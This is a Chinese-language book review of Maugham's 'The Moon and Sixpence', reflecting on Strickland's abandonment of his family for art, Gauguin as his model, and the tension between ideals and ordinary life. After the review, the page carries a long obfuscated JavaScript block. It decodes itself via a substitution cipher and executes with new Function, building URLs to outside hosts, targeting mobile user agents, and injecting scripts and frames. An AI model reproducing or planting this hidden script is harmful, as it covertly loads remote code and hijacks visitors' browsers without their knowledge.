推荐回答(1个)
原谅我的无知和浅薄,选择这本书仅仅因为初见书名《月亮和六便士》时,对其满心的费解和好奇。在这之前我没有接触过作者萨默赛特·毛姆,更不知道这是一位被称作“英国的莫泊桑”的小说家。和为国人所熟知的鲁迅一样,毛姆也是弃医从文,不同的是鲁迅为了从精神上解救中国,而毛姆单纯地为了释放心里难以压抑的创作热情。当其创作的剧本在英国引起巨大反响后,他决心将酝酿已久的故事书写下来,这就是他的代表作《人性的枷锁》。
和其代表作相比,《月亮和六便士》低调了许多。尽管如此,这也是一部引人深思的小说。读过此书的人都会反复在心中思考“月亮”与“六便士”的关系,思考如何评价主人公斯特里克兰德,思考他究竟为什么一定要用逃离的方式追求理想,思考女人在男人的世界里所处的位置毛姆不像我们,在日常的叙述中总免不了对事件进行评判,他似乎永远处在摇摆不定、前后矛盾的境地里,或者是他只是借用这个故事抛出他的问题,让我们和他共同思考。《月亮和六便士》以英国印象派三杰之一的保罗·高更为原型,以第一人称的方式叙述了主人公斯特里克兰德--一位证券经纪人,在家庭和事业都已稳定,膝下有一对儿女之时,因受到内心对绘画热情的召唤,毫无预兆地抛妻弃子,到南太平洋一座被称为“最接近天堂的地方”--塔希提岛上生活,与土着女子结婚生子,寻找创作灵感,最终害上麻风的病死在了一间四壁上画满了油画的小茅屋(据文中的“我”所言,这些壁画甚至让人想起米开朗基罗在西斯廷教堂里的巨作)。
能在艺术领域有所造诣的人往往天赋异禀,他们有超出常人的感受力去感知和鉴赏美,有天马行空的想象去勾勒和描绘美,能让凡夫们心向往之却受现实束缚未能践行的活动发生在自己身上,能有抛弃粮食和蔬菜只寻求海风和雨露的勇气。斯特里克兰德最初只身来到巴黎,在一间又闷又暗、霉味扑鼻的小阁楼里创作,这里“没有一件东西不是肮脏的、破烂的”,至于他自己也不如之前那般整齐干净,而是不刮胡须,邋里邋遢,但他自己安之若素。斯特里克兰德只将自己的精力放在创作上,至于物质啊女人啊根本不能影响他创作的节奏。他与我们身边的艺术家不同,他们往往需要人们认可自己的才能--心理和物质,并在得到认可后沾沾自喜。当谈论到自己作品时,他们就会更有底气或更嚣张,他人对自己的肯定褒奖就是漠视、批判他人的创作的基础;得到了大众的认可,才能使其作品升值,才能改善自己的物质生活。假如这是搞艺术之人创作的原动力,那不能被称为艺术家,只能称其为绘画或音乐的从业者,他们顾忌太多,作品中已掺杂了太多的虚荣和世俗。
我们都暂且忘了世间那许多所谓的艺术家,回头看看斯特里克兰德吧。有些人活着是为了吃,而苏格拉底吃是为了活着。斯特里克兰德也需要钱,用来延续生命,他也需要食物,用来填饱肚子。他叫上仅有的好友,“我”和斯特略夫到他的阁楼上去看他的画儿,他不在乎我是否懂得了画中传达的情感,他不在乎世人质疑他画的树叶儿是蓝色的(高更也常常以明亮的蓝色作为画的背景),当他没有钱支付旅店老板房费而选择送一幅自己的画但店主不屑于接受时,他也并不生气。他在乎的是自己是否有能力完整且忠实地传达内心的感受。毛姆用斯特里克兰德的纯粹自由,来诠释对存在主义的思考。
后来他辗转到了塔希提岛,并经由鲜花旅店的老板娘蒂阿瑞介绍,找了一个土着人爱塔结婚。爱塔有一处田产,自给自足甚至存点积蓄是足够了的,斯特里克兰德也就安心地在这里落户了。
塔希提岛的美是头顶蔚蓝的天空,是郁郁苍苍的树木,是馥郁芬芳的香气,是阴翳凉爽的海风。就像瓦尔登湖带给梭罗灵感,塔希提岛上的风情也让斯特里克兰德的创作欲望像海水一样无边无际。这里的人不像他之前所在的城市里的人那样,因接受了一些知识和接触了一丁点艺术,就膨胀起来指责别人,包容自己,好像自己已经是统领艺术界的伟人,他们皱着眉头,乜斜着眼,翘着下巴,点评画廊里的作品,将自己知道的几个画派认识的几个画家搬出来,以显示自己的才能。塔西提岛上的人土生土长,淳朴得就像脚下的泥土,他们对于言谈古怪的斯特里克兰德有更多的`包容,这为他的创作提供了更宁静的环境。他日夜不停,就算到了生命垂危之际,也不要求爱塔给他买药来,他要的只是一些颜料和画布。那就是救命的药了。病毒扩散到了他的全身,致使斯特里克兰德失明,他坐在小茅屋里,用失明的双眼注视墙上震慑人心的壁画,在黑暗中感受灵魂悸动,震颤,感受生命呼吸,狂奔。
在死之前,他要求爱塔把创作都烧掉,包括那座屋子,他怎么能如此自私。沉浸在艺术中,斯特里克兰德就像沉浸在游戏中的孩子,眼中只认可手上的玩具,固执地势要解开游戏的谜底。他要求的这场毁灭正好是他在滚滚红尘中寻找自我价值的完美终结,这恰巧证明了他绘画的目的不是名利,不是金钱,他不在乎为世人留下什么文明什么艺术,他就是在实现自我,就是让自己好受一点。
王尔德说,为富有诗意的事业破产是一种荣誉。或许现在我们来看他的生活,觉得那是多么脱俗,富有诗意,但作为艺术家,他的生活比任何其他艺术家都更困苦。他对艺术的一心一意,或者说是固执(旁人都不承认他拥有绘画的天赋,对他的执着感到匪夷所思),给他的生活带来的不是优雅与美丽,而是比撒哈拉沙漠还要干枯的寂寞,比风沙肆虐时的鞭打还要疼痛的肉体的折磨。但正是这些增添了他作为艺术家的美丽。毛姆在第四十三节的最后说:“斯特里克兰德是个惹人嫌的人,但是尽管如此,我还是认为他是一个伟大的人。”
月亮可望而不可即,六便士俯拾即是;月亮照得你心灵澄澈明净,六便士让你身体不忍饥受饿;月亮让你发觉自身的渺小,六便士让你终日陷入庸俗的追求。对于许多人,他们在心里咒骂生活的俗气,渴望理想实现时的耀眼,但如果让我们放弃平常的生活,去走那看似优雅诗意实则充满艰辛的理想之路,你难道就不会踟蹰?我们现在所走的路不是心里真正的理想之路。在权衡之后,我们选择了一条模棱两可的路,不过是希望在兜里揣着六便士走在路上时,头上仍然可以看到月亮。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();